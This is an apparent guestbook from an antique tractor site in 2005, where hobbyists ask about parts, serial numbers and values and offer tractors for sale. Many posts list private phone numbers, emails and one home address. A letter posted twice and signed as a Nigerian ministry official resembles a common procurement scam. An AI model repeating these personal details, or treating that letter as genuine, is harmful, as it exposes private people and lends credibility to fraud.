Johnny-fun wrote on Thursday, August 04, 2005 (PDT):I have a D15 gas G160 engine with 2-different sized head bolts. What is the torque on the head bolts?
northside salvage wrote on Tuesday, August 02, 2005 (PDT):if anyone is still looking for a d21 we have 2. you can contract that we restore. if interested contact denny,todd or niel at 618-282-2455 from 8-5 monday thru friday
northside salvage wrote on Tuesday, August 02, 2005 (PDT):the 1969 220 was not a landhandlers 1970 and newer had the landhandler decals!!!!!!!!!!!!!!!!!!!!!!!! We have two 220 both 69 waiting for someone to tell us they want it restored. we have 2 d21 one seriesI and one series II waiting for someone that wants them restored. also very many other a.c. tractors contact us for any restoration parts on 220,210 d21 &190
Bob B wrote on Tuesday, August 02, 2005 (PDT):I AM LOOKING FOR A SET OF CHAINS, PADS AND PINS AND 2 REAR SPROCKETS FOR A MODEL 40 JOHN DEERE CRAWLER
Lee Thomas wrote on Tuesday, August 02, 2005 (PDT):I am in the process of restoring a 49D leader I am in need of a right head light and bracket and a wiring diagram if anyone knows where i can get please advise Thanks
man man wrote on Monday, August 01, 2005 (PDT):550 is a good tractor
brad thompson wrote on Sunday, July 31, 2005 (PDT):i have a funk 6 cyl conv on my 48 iam in need of starter bendix drive,starter housing,and bearing. need help locating
ivan brown wrote on Sunday, July 31, 2005 (PDT):hey i was wondering what does a TD 40 weigh complete? anyone know pls email me back thanks.
scott mapes wrote on Sunday, July 31, 2005 (PDT):Igrew up on a massey pony my grandfather had one that was the first tractor i ever drove i spent countless hours on it mowing hay or plowing. is there an association of pony owners if there is then how do i get in contact with someone .maybe one of these days iwould like to own one.
Michael wrote on Saturday, July 30, 2005 (PDT):Jim Broughton, Thanks for the info on my Cub. I was going to guess 14 horsepower. Mike.
COLIN RADFORD wrote on Friday, July 29, 2005 (PDT):I am looking for a pair of tracks to fit an 8N ford tractor. please e-mail me if you have any,state price and location. thanks
Brandon Thoennes wrote on Friday, July 29, 2005 (PDT):I am in the market for a Cockshutt 30, and was wondering if anyone in the West Coast area had one for sale. I am looking for a restoration project, but i dont want one that is completely restored, just one that is restorable. Thanks, Brandon Thoennes
Brandon Thoennes wrote on Thursday, July 28, 2005 (PDT):I this is Brandon looking for an Oliver Super 55 that runs or could be made to run. I live in the Portland area. Thanks. Brandon Thoennes
Chris Miller wrote on Thursday, July 28, 2005 (PDT):I have a working Oliver Super 44 with front cultivators for sale. I live in Washington state,Yakima county. All good metal and good paint. Very good condition. Also have a Oliver 1950 T w/duals working and Excellant condition.
travis schmidt wrote on Wednesday, July 27, 2005 (PDT):hey i have a question does anyone know how much it would cost to have a AC 185 motor rebuild the crank did not go through the block. and the motor is not locked up either. but the nock is realy bad. so if any one would have a clue what it would cost email me.
Bob E wrote on Wednesday, July 27, 2005 (PDT):I have a 770 oliver tractor that I need a good sound radiator for it use it around the fram and what a excellent tractor it has been and still is. I have had no luck finding a good orginial radiator. Any recommendations where a person might find one?
JOHN L. TABACSKO wrote on Monday, July 25, 2005 (PDT):Where can I find an Oliver Super 55 model tractor, preferably a 1955 to 1957 model years? Do they all have the six speed transmission? The one that I used to drive on our farm when I was a kid had a six speed transmission.
GAVIN FAUGHT wrote on Monday, July 25, 2005 (PDT):I am 12 years old and recently saved up enough money to buy myself a 1952 W4. Ilove my tractor, I intend on fixing it up to put into tractor shows and parades. I am from Ontario, Canada. Does anyone know where I can get parts in Canada? Thanks.
Zachary Barham wrote on Monday, July 25, 2005 (PDT):HI,im Zach Barham . Im 11 years old . My unceles brother is a farmer . He is very close to me . I help farm. He gave me a D15 . MAN/did you see my age . He has me runing farm tractors .Ilove allis challmers . I hope to bea farmer some day . But until then i say , thank you for all your hard work American ,and over see farmers , and i hope to join you some day .
PHILLIP M wrote on Monday, July 25, 2005 (PDT):I AM A OWNER OF A 550 OLIVER THAT IS USED DALIY, I AM LOOKING FOR A HITCH OR DIAGRAM SO I CAN BUILD ONE, I AM NOT SURE OF HOW IT ATTACHES TO THE TRACTOR.
Todd Winter wrote on Sunday, July 24, 2005 (PDT):I have inherited a JD 2010 from my recently deceased father who bought it a few years ago. This tractor does have a loader that worked well until it blew a seal. It was driven and parked behind the barn 2 years ago to wait for help. Well here I am, and I tried to pull it out today with a larger tractor and found that the right rear wheel is locked up whether you hold the clutch down or shift it through the gears. The left rear wheel rotates fine. Is this a stuck or frozen transmission or could it be the brakes may have froze up on the right side? We tried to pull it forward and backward to try to break the wheel loose with no results except a lot of torn up sod. This tractor needs my help and I need yours. Please help if you have any info or ideas. The serial number of the engine tag is 2010RU14398 if that helps.....
patsy wrote on Saturday, July 23, 2005 (PDT):How much horse does the 1066 have?
bob cook wrote on Saturday, July 23, 2005 (PDT):Can any one send me a pic of what the wires on the distributor looks like and where they go, I am trying to do a tune up and do not know where the #1 is, I know the firing order is 1243 but that is all. thanks bob
deborah k rogness wrote on Thursday, July 21, 2005 (PDT):I am doing a book about my greatgrandfather (william edwin mckinnon) and he was one of the few "bellingham bay settlers" and he opened a wagonmaking shop(later had john kastner become a blacksmith) on railroad ave. i am hopeing i can track down one of his wagons for the book and lecture.he was in the history of whatcom county (roth books 1&2) he was the first and the last to make these wagons before the car came into the picture. you can contact me at (360)5279858 or email me at sangelstargazer at msn.com my address if you need it is 3705 canterbury ln. #7 bellingham,wa. i really look forward to your reply. i plan on putting an add if i can not find any off his wagons in the local farming community or collector paper. thank you
Roger A Burns wrote on Wednesday, July 20, 2005 (PDT): looking for a Sheppard 3D diesel tractor in good condition and price
Andrea wrote on Wednesday, July 20, 2005 (PDT):Looking for year model of my 15-30 serial number TG35471... can't locate any information. Thanks in advance!
Bill McNeece wrote on Monday, July 18, 2005 (PDT):I have a very nice JD 420 that I would like to sell. Need someone to give me some idea what it is worth. Call me toll free 1-866-548-7142
judy wrote on Sunday, July 17, 2005 (PDT):My neighbor has acquired a Leader Tractor. It appears that the gear shift is jammed. He isn't sure if neutral is left to right or forward and backward. When he starts it if he doesn't have the clutch in the tractor takes off. Any suggestions on unjamming the gearshif? Which way should the gearshift go to be in neutral? Thanks
judy wrote on Sunday, July 17, 2005 (PDT):My neighbor has acquired a Leader Tractor. It appears that the gear shift is jammed. He isn't sure if neutral is left to right or forward and backward. When he starts it if he doesn't have the clutch in the tractor takes off. Any suggestions on unjamming the gearshif? Which way should the gearshift go to be in neutral? Thanks
Bob Steere wrote on Sunday, July 17, 2005 (PDT):I have a W4 and I would like to know how to tell the horespower and year of my tractor. Can anyone help me with this?
jason wrote on Sunday, July 17, 2005 (PDT): DAMN THAT GREEN!!
CHARLIE wrote on Saturday, July 16, 2005 (PDT): I HAVE SEVERAL ALLIS CHALMERS WC FOR SALE RANGING FROM $800.00-$1200.00 THE YEARS ARE 1935-1938. THEY ALL HAVE BELT PULLEYS AND 1 EVEN HAS A BELT DRIVEN MANURE LOADER ON IT. I AM LOCATED IN NORTHWEST MISSOURI
Red wrote on Saturday, July 16, 2005 (PDT):I am looking for a Massey Harris Pony hood and sheet metal side panels. If anyone can help me locate them, I would greatly appreciate the information.
Alan Sheppard wrote on Friday, July 15, 2005 (PDT):Looling for a Sheppard Diesel in the Eastern IL Western IN area I want to restore one need all the parts to be complete. I am not particular if it is a SD2 3 or 4 if anyone has one for sale let me know please.
WJ Hargrove Jr wrote on Wednesday, July 13, 2005 (PDT):I Just purchased a Leader tractor It was being stored in an old shed that was close to falling down here in North Carolina.If anyone could help me find a manuel or any information that would be great.Its a model 49D
WJ Hargrove Jr wrote on Wednesday, July 13, 2005 (PDT):I Just purchased a Leader tractor It was being stored in an old shed that was close to falling down here in North Carolina.If anyone could help me find a manuel or any information that would be great.Its a model 49D
Pete wrote on Wednesday, July 13, 2005 (PDT):I have a farmer friend in NY who has a D 12 and needs a steering box or parts to rebuild his
Tonia Knighten wrote on Tuesday, July 12, 2005 (PDT):I have recently came across an old Oliver Parts Book for the 550 series tractors that is dated 6-1-59 does anyone know how or where I can find out what it is worth? Please email or call. Email address is tonia.thein at mchsi.com or 641-330-9466. Thanks.
Rick Green wrote on Monday, July 11, 2005 (PDT):i have allis chalmers backhoe about 1962 are something about there if anyone know something about them i would be greatful thank i also looking for part too Rick
Marty wrote on Monday, July 11, 2005 (PDT):My father farmed 100+ acres in upstate New York while I was growing up. He sold the farm in appx 1976 but kept 2 tractors for use in gardening, logging and towing. One of those tractors was the Cockshutt 50 deluxe. His was painted completely white. That tractor could pull a heavy load, and was quite fast. Thanks for the memories!
Ray Mitchell wrote on Sunday, July 10, 2005 (PDT):Hi, I have recently bought a Massey-Ferguson 35 and would like to identify the model. Could someone advise where to look for numbers and which numbers would be relevant? I am in the process of refurbishing it so I can use it for getting firewood etc. It has been used for launching a boat in salt-water and consequently has considerable rust in the wheel rims, guards and lower components generally but runs very well, no smoke or knocks. I would appreciate any help I can get to identify the model.
HM wrote on Sunday, July 10, 2005 (PDT):Illegal to use horse equipment? Chevy 454 big block. I am quite confused.
Matt Higgs wrote on Sunday, July 10, 2005 (PDT):HI Im looking for any information as to were I would be able to locate a 220 in one piece still running preferably.I am willing to go the distance to see it. please send pictures thank you.(604)556 9021 Abbotsford British Columbia Canada.
Matt Higgs wrote on Sunday, July 10, 2005 (PDT):Am looking for a Series 2 D-21 or 220 preferably in one piece, please send comments or any information as to were to locate one.(604) 556 9021
Frank Matthie wrote on Sunday, July 10, 2005 (PDT):I am looking for Braden Winch for my 420 Crawler and also I am looking for rear sprockets. Please call or Email me I have 6 of these 420 Crawlers. my home number 315-262-1244
mr. red wrote on Saturday, July 09, 2005 (PDT):i'm sorry but you green guys are on the wrong website if you are here. the red is the only way to operate.to each his own . my 806 out pulled a 5020 last summer. all them colors can try to pull but they don't come close to RED. if you are a damn green fan go to the damn green sight www.gonowherecuzyouareongreen.crap
Eric wrote on Saturday, July 09, 2005 (PDT):family farm used to run several, 9's,10's,1466 models white stripes, and black stripes, cabs, open, rops(2 and 4 post)...1066 turbo open station was always the meanest, seemed to out pull the 14,s all the time, hands down. Still have that one (1973 model) restored front to back, top to bottom 2 years ago turning around 150-160 hp, would do a lot more but enjoy her to much to destroy. Red makes others GREEN with envy. Remember RED POWER FOREVER AND EVER...even if the name Case is in it!!!! GOD BLESS AMERICA
Eric wrote on Friday, July 08, 2005 (PDT):RED POWER FOREVER
james Hawkins wrote on Friday, July 08, 2005 (PDT):where is the serial number located for either a 1946 or 1947 AC /WF .
travis schmidt wrote on Wednesday, July 06, 2005 (PDT):at the place i work at all we have is oliver tractors we must have at leaste 20 or 25 and a couple of old cases
Dan Stevenson wrote on Wednesday, July 06, 2005 (PDT):I still have my 220fwa and had a 75804wd at the same time, turned the pump up on them both, the 220 would pull as good as the 7580 untill I got in the hills, the 7580 had more gears.
Rick Bair wrote on Tuesday, July 05, 2005 (PDT):Just purchased a property and have an AC 160 w/ bushhog that came with it. Runs, but need new muffler. It has sat for the last 3 years. Got it running. Wandering if anyone would know the value and have an interest in buying. Located in Huntingdon County, PA
Michael wrote on Monday, July 04, 2005 (PDT):Just curious, does anyone know the cubic inch and the horse power rating of the flat top four in the 1950 Cub? Also, can anyone tell me if I need to use a lead additive to the gas for the Cub? Your help is appreciated.
Rick wrote on Monday, July 04, 2005 (PDT):New kid on the block. How do i adjust the brakes on a 801? Any help will be appreciated. A friend said their is a site where you can download ford repair info, anyone about it? Tks, Rick to
billy bob wrote on Sunday, July 03, 2005 (PDT):phil, i think what your saying about the h replacing the f-14 is a giant crock of shit.(sorry)im almost sure it replaced the f-20
larry overton 11 859 336 5003 wrote on Sunday, July 03, 2005 (PDT):Ive got a general cletrac serial #1A129 i need info on this tractor
mr. red wrote on Friday, July 01, 2005 (PDT):yes that is right wayne, jd does nothing but sit on the rock and watch big red go by
michael Standryk wrote on Friday, July 01, 2005 (PDT):I really like these tractors, and am trying to paint mine, but I do not know the cream color paint code. If any body knows the code please send me an E-mail. Thanks.
R. Baird wrote on Wednesday, June 29, 2005 (PDT):eddie smith iam interested in your m-h pony, where are you located
Don Hamill wrote on Wednesday, June 29, 2005 (PDT):Hi, I acquired a super 55 thinking it was junk. SUPRISE...Did not know what I had... Now I want to get it going. It is gas and everything seems to be there(dented but not real rusty sheet metal and all) Looking for hood, etc. Thanks, Don 214-202-1701
Bruce wrote on Wednesday, June 29, 2005 (PDT):I have a pair of rear fenders that came off of a 210 when it was brand new. We put a year-round cab on the tractor. The fenders were put away and not looked at for 20 yrs., and bird manure rusted a hole in one of them. That one needs a little repair work, but the other one is in good shape. Make me an offer.
Jerry Lynch wrote on Tuesday, June 28, 2005 (PDT): Hello Ijust recently bought a super 55 oliver. the problem is that the three point hitch is stuck up in the air I have not purchased a service manual for it yet but I was wondering what kind of a job it is to get it working again & what i need to do to fix it. any help would be appreciated. thank you Jerry Lynch
Fred Knop wrote on Tuesday, June 28, 2005 (PDT):Interested in purchasing a G1000 LP or Diesel in good running condition.
Paul Askey "Ohio" wrote on Tuesday, June 28, 2005 (PDT):I Have both a '63 and '64 770 rowcrops. They have been alot more useful than the Two cylinder deere's and the lettered Farmalls that I had earlier owned.
Greg JOHNSON wrote on Sunday, June 26, 2005 (PDT):My father is looking for an Oliver 44 tractor, can anyone help? I would like to find one in iowa or the surrounding area. Thank you for your consideration.
Bill Cartwright wrote on Sunday, June 26, 2005 (PDT):I recently purchased a 1948 Farmall Cub that I am restoring. I like the color and paint scheme of the Cub pictured at the top of this page. Can anyone tell me what color red this is. Is it Farmall red or some other color. Thanks in advance. Geneseo NY.
Jake Guentzel wrote on Saturday, June 25, 2005 (PDT):Looking for any Massey 55 engine parts or complete engines, or tractors.
Roy Macus wrote on Friday, June 24, 2005 (PDT):I have a 1924 Fordson model F. This tractor has a Taco governor on it. The Wire from the flywheel mag unit is missing. If there is anyone who can tell me how it is hooked to the governor unit I would like to get a diagram or something explaining its hook up. Thank you for any information offered Roy marcus
wayne beckham wrote on Tuesday, June 21, 2005 (PDT):jd rock
Brian Underwood wrote on Monday, June 20, 2005 (PDT):I have just purchased a '42 Case VAC tractor that runs well. I'm looking for help on 3 point hitch conversions and locations of accessories (e.g., belly mower) I can buy. Thanks.
Brian Asmussen wrote on Sunday, June 19, 2005 (PDT):I farmed in sw Ontario,always John Deere if any way possible? My best friend greew up on 2-cylinders, Now 25 years later He gave me the pleasure of ploughing his 45 acreshow hay field down with his fully restored 820 and 5-14"trail plough--------I,ll leave him my estate and first 3 kids for that pleasure, LOL
Chief. Bamidele F. Dada wrote on Monday, June 13, 2005 (PDT): From the Desk of;Chief. Bamidele Dada Ministry of Agriculture / Natural Resources ( MANR ) Block A 9th Floor , Herbert Macualay Way Central Business District Abuja, Nigeria Tel;00234 9 2728484 Fax;00234 9 2728484 Attention;The Antique Tractor Shed Dear Sir , SUPPLY AND PROCUREMENT OF EARTH MOVING EQUIPMENT AND CREANE TO THE MINISTRY OF AGRICULTURE AND NATURAL RESOURCES I am Chief.Bamidele F. Dada, the Group Deputy Director in-charge of procurement and supplies in the Ministry of Agriculture and Natural Resouces -a department in the Nigeria Ministry of Agriculture an establishment of the government of the Federal Republic of Nigeria. The MANR through my department intends to award specialized international contract for the supplies and procurements of CREANE TO MINISTRY OF AGRICULTURE AND NATURAL RESOURCES We shall be procuring the following; Ferguson TE-20 Ferguson 35 Ferguson TO-20 Ford 9N Ford 8N with Funk V8 Ford 8N Ford 8N with Funk 6-Cyl Ford 8N with Tracks Ford 541 Offset Workmaster Fordson Major Diesel Massey-Harris 81 Massey-Harris 44 Massey Harris Pacer No. 16 Massey Harris 22 Massey-Harris GP Cockshutt 30 Cockshutt 50 Cockshutt 40 Cockshutt 50 Deluxe I am writing to request that you provide to us with information and prices on your product range for our consideration. Please note that all prices must be calculated in the currency of the United States Dollars Costing should include shipment, freight to Lagos International Seaport, Apapa, Lagos Nigeria. I await your kind response please. Accept my highest assurance and best regards at all times. Thank you For; Ministry of Agriculture and Natural Resources Chief. Bamidele F. Dada
Chief. Bamidele F. Dada wrote on Monday, June 13, 2005 (PDT): From the Desk of;Chief. Bamidele Dada Ministry of Agriculture / Natural Resources ( MANR ) Block A 9th Floor , Herbert Macualay Way Central Business District Abuja, Nigeria Tel;00234 9 2728484 Fax;00234 9 2728484 Attention;The Antique Tractor Shed Dear Sir , SUPPLY AND PROCUREMENT OF EARTH MOVING EQUIPMENT AND CREANE TO THE MINISTRY OF AGRICULTURE AND NATURAL RESOURCES I am Chief.Bamidele F. Dada, the Group Deputy Director in-charge of procurement and supplies in the Ministry of Agriculture and Natural Resouces -a department in the Nigeria Ministry of Agriculture an establishment of the government of the Federal Republic of Nigeria. The MANR through my department intends to award specialized international contract for the supplies and procurements of CREANE TO MINISTRY OF AGRICULTURE AND NATURAL RESOURCES We shall be procuring the following; Ferguson TE-20 Ferguson 35 Ferguson TO-20 Ford 9N Ford 8N with Funk V8 Ford 8N Ford 8N with Funk 6-Cyl Ford 8N with Tracks Ford 541 Offset Workmaster Fordson Major Diesel Massey-Harris 81 Massey-Harris 44 Massey Harris Pacer No. 16 Massey Harris 22 Massey-Harris GP Cockshutt 30 Cockshutt 50 Cockshutt 40 Cockshutt 50 Deluxe I am writing to request that you provide to us with information and prices on your product range for our consideration. Please note that all prices must be calculated in the currency of the United States Dollars Costing should include shipment, freight to Lagos International Seaport, Apapa, Lagos Nigeria. I await your kind response please. Accept my highest assurance and best regards at all times. Thank you For; Ministry of Agriculture and Natural Resources Chief. Bamidele F. Dada
onur yarar wrote on Sunday, June 12, 2005 (PDT):my name s onur yarar n turkey.my grandfather has got massey harrs 55.my famly love massey harrs.massey harrs hasgot a thames diesel engine.
nir wrote on Saturday, June 11, 2005 (PDT):hello, i search an operation manual and repair\parts book for my baby case ih maxxum 170 2002 can anyone help , please thanks
Darryl Krause wrote on Thursday, June 09, 2005 (PDT):Have a Series 2 D-21 for sale.3 point,pto,good runner,24.5x32 rears.$6000 360 815 6979,Lynden,Wa.
John Murray wrote on Wednesday, June 08, 2005 (PDT):I'm looking for a 19 inch steel threshing pulley for a McCormick Deering W30 or a F30 tractor. If anyone has one for sale or knows of one, please Email me at jmm1 at adelphia.net. Thanks...
john wrote on Wednesday, June 08, 2005 (PDT):what's a ford 800 with a front end loader worth? it's extremely dirty (been sitting outside for a few years). it seems to have many new parts (fuel pump, etc). and by the way, i cannot find a keyhole. how do you start the darn thing? i'd appreciate any comments, opinions, and feedback. also, is this stock with a 6 volt system?. i tried to jump start it with my truck, and charge it with my 12 volt charger. i learned in a nanosecond, that won't work. please advise. thankyou.
calvin stoltz wrote on Wednesday, June 08, 2005 (PDT):I got a 1066 with about 5000 +/- 200 hrs on it. I grew up in MN (that's where the tractor is) and went in the Marines in 1982. It was on my Dad's farm who passed away Feb 2004. Someone stoled the starter off it years ago and he just let it sit. I going to the farm 6-28-05 for 10 days to maybe sell it on Ebay or something, whats it worth? cgstoltz at hotmail.com
calvin stoltz wrote on Wednesday, June 08, 2005 (PDT):I got a 1066 with about 5000 +/- 200 hrs on it. I grew up in MN (that's where the tractor is) and went in the Marines in 1982. It was on my Dad's farm who passed away Feb 2004. Someone stoled the starter off it years ago and he just let it sit. I going to the farm 6-28-05 for 10 days to maybe sell it on Ebay or something, whats it worth? cgstoltz at hotmail.com
Allen Stanfill wrote on Wednesday, June 08, 2005 (PDT):I have a wd45 tactor gas engine trycycle front end pto hydraulic lift snap coupler ECT. 12 volt Tractor looks bad but runs drives pto and hydraulics work Engine has or had a crack in the block behind carb someone patched before I got the Tractor but does not seem to affect the operation of the tractor and no leaks around area. I would like to sell tractor for $1200.00 dollars If any one is interested would be a great one to restore. Western KY area.
Allen Stanfill wrote on Wednesday, June 08, 2005 (PDT):I have a wd45 tactor gas engine trycycle front end pto hydraulic lift snap coupler ECT. 12 volt Tractor looks bad but runs drives pto and hydraulics work Engine has or had a crack in the block behind carb someone patched before I got the Tractor but does not seem to affect the operation of the tractor and no leaks around area. I would like to sell tractor for $1200.00 dollars If any one is interested would be a great one to restore. Western KY area.
Norman Simpson wrote on Tuesday, June 07, 2005 (PDT):I have a B.F.Avery 1947 in good working condition located in Brasher Falls,New York.All original including a sickell-bar mower/tire chains,snow blade contact me for a price.Must sell do to health.
mitchell cain wrote on Monday, June 06, 2005 (PDT):I have two 220 landhandlers 1969 and a 1970 in process of restoring the 1969 modle need a set of rear fenders. IF you can help please E-MAIL ME THANKS starting to sand primer M.CAIN
Julie Mitchell wrote on Saturday, June 04, 2005 (PDT):We have an really old tractor that has iron tires with spikes and we do not know it's year. The tractor has been painted orange and the number are covered with the paint. I have taken pictures so if you would be interested in seeing the pictures, please email alamitoranch at yahoo.com, and I will send them. If you have other information we would appreciate your knowledge.
Bryan Brewer wrote on Friday, June 03, 2005 (PDT):My name is bryan brewer, I am looking for some information on an antique case steam powered tractor, that belonged to my great grandfather thomas newell, from troy grove il. area. I was told that when my great grandfather past that the tractor was picked up by case and put into one of there museums. any help locating this tractor or an actual picture of it would be greatly apretiated. Bryan Brewer
Sam Finfrock wrote on Monday, May 30, 2005 (PDT):Geraldine, I purchased my 560 for $2,500.00, it is a diesel, with a wide front end. Let me know if you still have it I'm interested in it. Thank you Sam
Casey Houghton wrote on Monday, May 30, 2005 (PDT):I used to work on a dairy in northern Vermont, when I was 16 i started running a IH 1066, I was always a farmall man and I have never been disapointed with an International product from My '41 A pulling tractor to the 444 thats in my f-250, right now I am looking at a 1566 with duals. Do any of you guys have an idea of what this would weigh. I want to strip her down, turn her up and embarass the heck out of the JD 4440s that are pulling locally in the farmstock pulls, Im leaning towards the 15 because stock it is 161 hp, but i have seen 10s with 225 hp so it is really a mater of weight any help would be greatly appreciated
Michael wrote on Monday, May 30, 2005 (PDT):Jim Broughton, Thanks for the info! I live in Tacoma WA, and as you stated, they are costly. This Cub runs very well, and has been maintained properly. The engine, transmission, and drive train have all been gone through. I plan on many years of enjoyment! I hope to join a tractor club once I get back from deployment from Iraq, which is scheduled for March of 2006. Thanks aagain!
david stephenson wrote on Sunday, May 29, 2005 (PDT):i brought a m5 last year for 1800 dollars and my son and i are in the process of restore it, i grew up on a 445 gas moline in s.eiowa 40 years ago we plan on taking it to show and maybe stock class pulls when we get it done.
Michael wrote on Sunday, May 29, 2005 (PDT):I currently purchased a 1948-1950 Cub, and trying to find out more about it. I paid $3500 for it. Serial #107,333. It came with rear axle extensions, and a complete hydraulic set up for practically anything. What year is it,and how badly did I get raped on the price?
Al wrote on Sunday, May 29, 2005 (PDT):I have a 1947 hg I put an OC3 frame and running gear under it much stronger.It has a loader built by Americsn Tractor Co.L-HG in 1945 out of Oakland Calif.It has A bee-gee hydraulic pump mounted up front BGA215. I'm rebuilding the pump I hope but can't find parts (HELP) Does any one have info on American Tractor Crop.Thanks Al 209-296-5139
Al wrote on Sunday, May 29, 2005 (PDT):I have a 1947 hg I put an OC3 frame and running gear under it much stronger.It has a loader built by Americsn Tractor Co.L-HG in 1945 out of Oakland Calif.It has A bee-gee hydraulic pump mounted up front BGA215. I'm rebuilding the pump I hope but can't find parts (HELP) Does any one have info on American Tractor Crop.
Brian Thompson wrote on Sunday, May 29, 2005 (PDT):I recently purchased a 1967 550. I am in need of a front grill and front tin work. Any and all leads would be appreciated. Tractor came with Super Oliver 2 bottom plow, willing to sell. Call 515-249-4234 with part leads or interest in the plow. Thanks, Brian.
Don K. wrote on Saturday, May 28, 2005 (PDT): I own a 1941 H with a cab,YES A CAB, the guy I got it from redid tractor about 15 years ago, He pulled it off the neighbor's rock pile. It run's great but would like to put three pt. hitch on it. anyone have the plan's to make one? (to buy after market is nut's $$$$$$ ) Thank's
Amy Stafford wrote on Saturday, May 28, 2005 (PDT):I'm looking for engine overhaul kit for my dad. He Loves his international 756 gas engine tracter. But it needs help! So for father's day i want to find a dealer that has a kit. My brother will do the work. Please have any info tell me. I looked every where!
RICHARD wrote on Friday, May 27, 2005 (PDT):I PURCHASED 1959 OC-46-3G TRACK LOADER LAST FALL IT STARTS AND RUNS GREAT USED IT LAST WINTER TO PUSH SNOW,GREAT COLD START. PREVIOUS OWNER INSTALL ELECTRIC FUEL PUMP,WIRED DIRECT,I INSTALL AN INLINE SWITCH PREVENT FLOODING AND DRAINING BATTERY, UNDERCARRIAGE IS LITTLE ROUGH,SOME REAR OIL LEAKS. WOULD LIKE TO RESTORE OC-46 LOOKING FOR NEW DISTRIBUTOR CAP, FUEL PUMP OR REBULD KIT,CARB KIT,LEFT DRIVE HUB,STUDS,REAR SEALS,AND GASKETS. PREVIOUS OWNER HAD ORIGINAL SHOP MANUEL ANYONE WITH LEAD ON PARTS WOULD BE APPRECIATED THANKS.
Ron Myer wrote on Thursday, May 26, 2005 (PDT):Im looking for an oliver 70 1947 industrial wide front end.I am looking for a parts tractor or if somebody has rear rims for the back tires I would be very interested in buying call(518)943-4073
J BRASWELL wrote on Wednesday, May 25, 2005 (PDT):i have a mid 60's super dexta and have trouble with the fuel system and getting it started any idea what to do.
Terrence Faul wrote on Wednesday, May 25, 2005 (PDT):Looking for a parts source for a 42' Allis Chalmers Model "M" crawler. Mine runs but I need a new throughout bearing. Any place I can purchase one?
Larry metzler wrote on Monday, May 23, 2005 (PDT):Ihave an"MT" And A 420 The 420 is still working and the MT is on Jacks. I am looking for brake parts for the 420. Lockhart Texas
becky wrote on Friday, May 20, 2005 (PDT):Hello everyone... I just had an oliver 550 1957 stolen from my property in Marshalville, Ohio. The tractor was running but I pulled the radiator to have it fixed. So there was no radiator. They also took my 7ft Woods brush Hog. I suspect they will part it out, sell it or try to find parts for it. If anyone has any suggestions for me Please Help..The police are limited to what they can do... Thanks bjace97 at yahoo.com
Sam Moss wrote on Wednesday, May 18, 2005 (PDT):I recently bought a Ford tractor from a widowed farmer that knows nothing about this tractor. I have searched diligently for serial numbers. The tractor resembles the 500 series pictures. The only numbers I have been able to find are; 540-N-1000 which is a cast number located under starter and 5668137 stamped on the steering column. Can anyone help me with any information on this tractor? Any help would greatly be appreciated.
Richard wrote on Wednesday, May 18, 2005 (PDT):I have a 1949 C,which is needing a clutch,pressure plate etc.,can anyone direct me to a website I can purchase a manual which will give me the required steps for clutch replacement? Also,recommendations location for purchasing the required parts for this work?
locky wrote on Wednesday, May 18, 2005 (PDT):want to buy D-10-12-14-15-17-19-21 usable rubber and running.
Steve Lenhard wrote on Wednesday, May 18, 2005 (PDT):I have a farmall Cub with a 72" mowing deck I am selling. I am located 30 miles west of Philadelphia. The tractor starts and runs well and has been used for past 3 summers to mow my 4+ acre property. I will post more specific info (serial numbers, year, etc) when I look for them on the tractor. I would like to get $2200 for the tractor ( I paid 2950 3 years ago) and it runs just like when I got it. My phone # is 610 458-3668 If interested I can take pics to send in email as well. Thanks
Tom Wolder wrote on Tuesday, May 17, 2005 (PDT):Please help me find a good service manuel for my Ford Super Dexta. I have no idea the year it is, it is desiel. The only # I found on it is 09D913145, the 4 is questionable. any ideas, thanks
donald wrote on Tuesday, May 17, 2005 (PDT):well i would like to know what kind of horse power and torque these tractors put out. also what kind of pto they have. and if it has a 3 point hitch or not.
Donnie Jones wrote on Monday, May 16, 2005 (PDT):I am looking for a good used block for a to 20 any help would be appreciated
Ron Roch wrote on Saturday, May 14, 2005 (PDT):I AM LOOKING FOR A 1938 WF WITH PULLEY AND PTO OR WHAT HAVE YOU ! (701)343-2697
allen wrote on Thursday, May 12, 2005 (PDT):I HAVE A GOOD TRCTOR, BUT THE STARTER OR SOMETHING ELSE MAKES IT NOT START..I HAD IT RUNNING, STOPPED IT AND IT WON'T RUN..WHAT VOLTAGE SHOULD IA HVE WHEN THE STARTER GEAR IS ENGAGED AND BUTTON PUSHED>>>OR ANYBODY KNOW A DAMN THING ABOUT THE STARTER..THANKS
EWA wrote on Monday, May 09, 2005 (PDT):I have a Farmall 300 row corp that I keep running. The serial numbers don't match any of the books. It has 28714 PJ on the aluminum plate, and 358046R2 on the engine block. I am interested in finding oil and air filters, but would like to know what year it might be. The has 300 on the side with Torque Amplifier logo also.
IHMAN3388 wrote on Monday, May 09, 2005 (PDT):I work on a dairy in western PA. We use all IH with around 15 running tractors in all that we use. There are more on a Farmall retirement plan that aren't used daily. WE have a cub, A, C, H, 2 Ms (1 with a picker), 584 overhauled, 4 1066s (3 open station all are white stripes) and a 1466 white cab. There is also a 5088 in the shop that has been in "overhaul" for a few years now. the shop needs to get their butts in gear. These tractors are great, the 1066's can't be beat for their looks, their engines and the Name. I wan't to buy a 10 for myself when I get my place. I only hope that inlcludes some acreage to use her on! ;)
Ben Butler wrote on Thursday, May 05, 2005 (PDT):I have located a 720 diesel that is in need of an overhaul. The owner says it is using oil and has a small amount of coolant in the crankcase. Don't know much about these two cylinders, do the headgaskets go bad, or is it a cracked head?
Rocky Longino wrote on Thursday, May 05, 2005 (PDT):I have a W-6. Can't find any information. Would like to sell. Tractor looks and runs good. How does it compare to a W-4?
John Doughty wrote on Thursday, May 05, 2005 (PDT):Sounds like everyone has the same problems, finding parts for their super 55. I am looking for the center grill piece and the PTO guard. Plus I am looking for some one who is willing to talk about what the tractor is worth today. Not that I want to sell it. Seems like no one wants to talk worth, but they really want to buy it. I have put in several of these comments on other sites with no success. I'm like all the rest of you. Its a great tractor and I have several dollars wrapped up in it on restore and have enjoyed taking it to shows, just to have someone say. Why did you paint that Ford green? Reflects that I don't live in Oliver country. If some one knows please contact me, and good luck on finding parts. One other comment. I recently converted my super 55 to 12v with the help of the artical in Yesterdays tractor, it was a sinch and the best thing I could have done to it. Thanks JD.
John Thayer wrote on Wednesday, May 04, 2005 (PDT):I have a w4 ser. no wbh9885w1 that runs great but is missing the hood,fenders,seat and seet post and battery box.Can you please give me some help finding these parts and others.
stephen lail wrote on Wednesday, May 04, 2005 (PDT):hey ed i just bought a 1948 massey 22 , one of the rear rims is bad i believe it is a 10 x 28 where are you located and do you know where i could find one ? thanks.
Jack wrote on Wednesday, May 04, 2005 (PDT): What year was the first D 21 made
